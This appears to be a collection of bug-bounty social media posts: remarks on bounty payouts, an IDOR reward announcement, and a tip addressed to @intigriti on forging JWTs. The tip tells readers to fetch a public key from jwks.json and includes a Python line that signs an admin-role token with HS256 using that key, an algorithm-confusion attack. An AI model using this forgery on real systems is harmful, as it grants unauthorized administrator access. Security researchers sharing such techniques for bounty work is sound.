“Don’t just judge a book by its cover”
Even the payment to is enough even got once. Also consider the “darkside” of it.
“Only if accepted”🫤
750$x3
35000$
~37100$
#BugHunterLife#BugBounty
Just got a reward for a vulnerability submitted on @yeswehack -- Insecure Direct Object Reference (IDOR) (CWE-639). https://t.co/h2rP1goVWN #YesWeRHackers
@intigriti We need to Craft JWT
Step 1 :- Find public key at:
/.well-known/jwks.json
/jwks.json
Step 2. Forge admin token:
`import jwt token = jwt.encode({"role": "admin"}, public_key, algorithm="HS256")`
(Could be done by JWTEDITOR burp extension.)
Step 3 :- You are an admin now!